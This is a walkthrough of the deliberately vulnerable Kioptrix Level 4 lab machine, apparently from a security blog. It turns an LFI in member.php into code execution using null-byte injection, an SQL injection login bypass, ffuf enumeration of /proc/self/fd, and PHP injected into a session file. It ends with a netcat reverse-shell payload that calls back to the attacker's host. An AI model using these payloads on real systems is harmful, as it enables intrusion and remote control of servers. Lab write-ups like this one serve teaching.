From LFI to Remote Shell (Kioptrix Level 4)

Introduction
In my previous Kioptrix Level 4 write-up, we went from boot to root on the Kioptrix 4 machine by exploiting password reuse. Along the way, we found a local file inclusion vulnerability that allowed us to gather some valuable information used in owning the box.
In this article, we’ll take a deeper look at the LFI bug and learn how to use only the LFI to get a reverse shell on the target.
Tools
Exploring the LFI
If you recall from the previous article on Kioptrix Level 4, we were able to enumerate a few usernames with gobuster
and log in using the usernames by exploiting an SQL injection vulnerability on the login page. After logging in successfully, we are directed to the member.php
page which is where the LFI lies.
Go ahead and launch your web browser, and head over to the victim’s web server.
We’ll use the john
username we discovered from our initial enumeration. We could use his password as well, but in this example, I’ll take advantage of the SQLi and use ' or 1=1#
in the password field. Click Login
, and we are redirected to the Member’s Control Panel.
We see the URL is http://10.0.10.103/member.php?username=john
. The LFI bug lies in the username
parameter.
Use the Source
To better understand why, take a look at the member.php
source code:
$page = $_GET['username'];
//$page = preg_replace('/etc/','',$page,1) . ".php";
$page = preg_replace('/etc/','',$page,1);
if(file_exists($page)){
$memPage = $page . "/" . $page . ".php";
include($memPage);
}else{
// ...
}
Here we see the username
argument is placed into the $page
variable. preg_replace
is then used to remove the first occurrence of etc
within the string (remember we had to use etcetc
to dump /etc/passwd
in the original walkthrough).
Then the script checks to make sure the “page” exists. In reality, if we recall from the first article, this code is checking for the existence of a directory that is named identically to the PHP file (minus the .php
extension). If the directory is found, the script appends a /
to $page
, then $page
itself, and finally .php
. In essence, this means that a username
of john
will cause the script to attempt to include the file john/john.php
.
The major problem with this approach is that there is almost zero input sanitization. In fact, the safeguard the script uses against malicious input is stripping out the first occurrence of the string etc
. As we have already seen, this is easily bypassed by duplicating the string (etcetc
).
In effect, we have total control over which file is included. There does appear to be one more limitation: the filename we provide must be the name of a directory, and that directory must have an identically named PHP file. It turns out this is also dead-simple to bypass.
Null Byte Injection
PHP strings are not null-terminated. This means that a null byte is a perfectly legal character in the middle of a PHP string. PHP runs on C, however, and C uses null-terminated strings.
What does that mean for us? Simple: if we can inject a null byte into a string that is processed by PHP (and therefore by C on the back-end), we will be able to effectively bypass the $page/$page.php
filename restriction.
We can inject a null byte using its URL-encoded form: %00. Let’s say we want to use our LFI to view the command line arguments of the webserver. This can be found in the proc filesystem (more on the proc filesystem later) within the file /proc/self/cmdline
. So what happens if we try to point our browser to http://10.0.10.103/member.php?username=../../proc/self/cmdline
?
We see from the error that the script attempted to include the file ../../proc/self/cmdline/../../proc/self/cmdline.php
. This makes perfect sense after viewing the source. Let’s try to dump the file again. This time, add a URL-encoded null byte (%00
) to the end: http://10.0.10.103/member.php?username=../../proc/self/cmdline%00
So now we can view any file on the victim’s filesystem as long as: a) we know the full path, and b) the webserver has read permissions for the file. But how can we leverage this bug to get code execution, and eventually, a shell?
From LFI to Code Execution
Remote code execution is one of the most severe bugs you will encounter in a web application. Successful exploitation of an RCE will almost always lead to a remote shell on the target system. But how do we go from a simple file inclusion to code execution?
Let’s think this through. The file whose name we are providing in the username
field will be included in the PHP application with the include
PHP expression. This will cause PHP to effectively insert the contents of the included file directly into the source code at the point of the include
expression.
If the file is plain text or any other non-PHP content, its contents will simply be displayed on the page. However, if the contents of the file contain valid PHP code, that code will be executed on the server.
This means that if we can somehow get malicious PHP code somewhere on the victim’s filesystem (and readable by the webserver), we can run any code we please.
But how do we get our own code on the server? In some cases, you may find file upload vulnerabilities, or perhaps vulnerable or open SMB or FTP servers. In this case, however, we have none of these. But as it turns out, we do control some of the contents of one file on the system.
The proc Filesystem
From the ArchWiki:
Procfs is pseudo filesystem (/proc) containing information about the system resources, including currently running processes, kernel, hardware.
Basically, the proc filesystem allows users or running processes to view details about – among other things – the processes running on the system. The data is stored in a directory hierarchy /proc/PID
, where PID
is the process ID of the target program. Additionally, there is a special directory, /proc/self
, which is a symbolic link to the appropriate process ID of the running program.
Among the information the procfs stores about running processes is a list of file descriptors in use by the program. For example, if you list the contents of the /proc/self/fd
directory using ls
, you will see a list of all file descriptors in use by the ls
process as it runs:
┌──(ori0n㉿kali)-[~]
└─$ ls -l /proc/self/fd
total 0
lrwx------ 1 ori0n ori0n 64 Aug 4 00:57 0 -> /dev/pts/9
lrwx------ 1 ori0n ori0n 64 Aug 4 00:57 1 -> /dev/pts/9
lrwx------ 1 ori0n ori0n 64 Aug 4 00:57 2 -> /dev/pts/9
lr-x------ 1 ori0n ori0n 64 Aug 4 00:57 3 -> /proc/584889/fd
┌──(ori0n㉿kali)-[~]
└─$ tty
/dev/pts/9
Here we see four file descriptors: 0
– 3
. In a UNIX system, the first three file descriptors always refer to the standard input, standard output, and standard error streams, respectively. In this case, they are all symbolic links to our current TTY session, which we’ve verified with the tty
command.
The final descriptor (3
) is a symbolic link to the actual directory within the procfs of the ls
process’ fd
directory. This is likely due to ls
opening the directory in order to list its contents.
This is all fine and good, but what use is it to us as attackers?
Enumerating File Descriptors With ffuf
We can use a fuzzing tool like ffuf
in combination with a list of numbers to search for any open file descriptors in use by our web server process.
We can read the file /proc/sys/fs/file-max
to determine the maximum number of open file descriptors on our target. In this case, it’s 24050.
Now we can create a wordlist with all the valid fd
values. We’ll skip 0
–2
as these are always the standard I/O streams. Then we feed the wordlist to ffuf
to determine which file descriptors are valid:
┌──(ori0n㉿kali)-[~/kioptrix4]
└─$ for i in {3..24050}; do echo $i; done > nums.txt
┌──(ori0n㉿kali)-[~/kioptrix4]
└─$ ffuf -w nums.txt:NUM -u http://10.0.10.103/member.php?username=../../../../../../../proc/self/fd/NUM%00
/'___ /'___ /'___
/ __/ / __/ __ __ / __/
,__\ ,__/ / ,__
_/ _/ _ _/
_ _ ____/ _
/_/ /_/ /___/ /_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.0.10.103/member.php?username=../../../../../../../proc/self/fd/NUM%00
:: Wordlist : NUM: nums.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
:: Progress: [40/24048] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors:20 [Status: 302, Size: 257, Words: 22, Lines: 2]
:: Progress: [40/24048] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors:39 [Status: 302, Size: 257, Words: 22, Lines: 2]
:: Progress: [41/24048] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors:9 [Status: 302, Size: 1, Words: 1, Lines: 2]
:: Progress: [42/24048] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors:26 [Status: 302, Size: 257, Words: 22, Lines: 2]
...
Whoa! That’s a lot of noise! We need to filter out any results that are actually errors. Use your browser to try any random value, for example: http://10.0.10.103/member.php?username=../../proc/self/fd/3%00
.
We can use the ffuf
-fr
parameter to filter out strings that indicate errors. Running again, we see exactly one file descriptor in use: 9
.
┌──(ori0n㉿kali)-[~/kioptrix4]
└─$ ffuf -w nums:NUM -u http://10.0.10.103/member.php?username=../../../../../../../proc/self/fd/NUM%00 -fr 'failed to open stream|Oups'
/'___ /'___ /'___
/ __/ / __/ __ __ / __/
,__\ ,__/ / ,__
_/ _/ _ _/
_ _ ____/ _
/_/ /_/ /___/ /_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.0.10.103/member.php?username=../../../../../../../proc/self/fd/NUM%00
:: Wordlist : NUM: nums
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Regexp: failed to open stream|Oups
________________________________________________
9 [Status: 302, Size: 1, Words: 1, Lines: 2]
:: Progress: [24048/24048] :: Job [1/1] :: 493 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
So what is this mysterious file? We can use our LFI to find out. Navigate your browser to http://10.0.10.103/member.php?username=../../proc/self/fd/9%00
.
Well that looks a whole lot like our login credentials, doesn’t it?
So let’s piece this together. We are able to force the application to include this file and interpret it as PHP. We are also able to control the contents of this file at login.
So what if we leverage the SQL injection to append some PHP code to our password? Let’s find out.
PHP Code Injection
First, log out of the application (or delete your session cookie).
Now we will try to inject the phpinfo()
function into the session file. This is a pretty standard way to verify that we indeed have code execution.
Log in with username john
and use the following password: ' or 1=1# <?php phpinfo() ?>
.
The login is successful. Now head back to http://10.0.10.103/member.php?username=../../proc/self/fd/9%00
.
Bingo! We have an RCE!
All that’s left is to use our code execution to get a reverse shell.
Poppin’ a Shell
NOTE: You will have to log out of the web app or clear your session cookie every time you want to modify the PHP code.
From our first trip through this box, we know that Netcat is installed at /bin/netcat
. We can verify this using our RCE by logging out and logging back in while injecting the PHP code system('which netcat')
. We get the response:
myusername|s:4:"john";mypassword|s:41:"' or 1=1# /bin/netcat ";
Now we can create a payload to hopefully send a reverse shell from the victim back to our host machine. As we discovered the first time through this box, the victim is running a firewall that is dropping outgoing packets on a wide range of ports. For this reason, I’ll use a known good port: 9000.
On our attacker, let’s start a listener:
┌──(ori0n㉿kali)-[~/kioptrix4]
└─$ nc -nlkvp 9000
Listening on 0.0.0.0 9000
Now, clear your session on the target app. We want to run the command:
/bin/netcat 10.0.10.10 9000 -e /bin/bash
We will use the following payload in the password field:
' or 1=1# <?php system('/bin/netcat 10.0.10.10 9000 -e /bin/bash') ?>
Use username john
and the above payload as the password. Log in and navigate back to http://10.0.10.103/member.php?username=../../proc/self/fd/9%00
.
We have a shell! I’ll use the Python pty.spawn
trick to pretty it up a bit, and then we can continue on with privilege escalation (see my Kioptrix Level 4 walkthrough for details on getting root on this box).
Wrapping Up
This LFI to RCE route was a much more involved route than the password reuse scenario we exploited in the first Kioptrix 4 post, but I found it to be more fun, and much more rewarding in the end.
Understanding how to leverage a simple file inclusion vulnerability into full-fledged code execution is a valuable skill that will almost certainly lead you to a shell every time.
Leave a Reply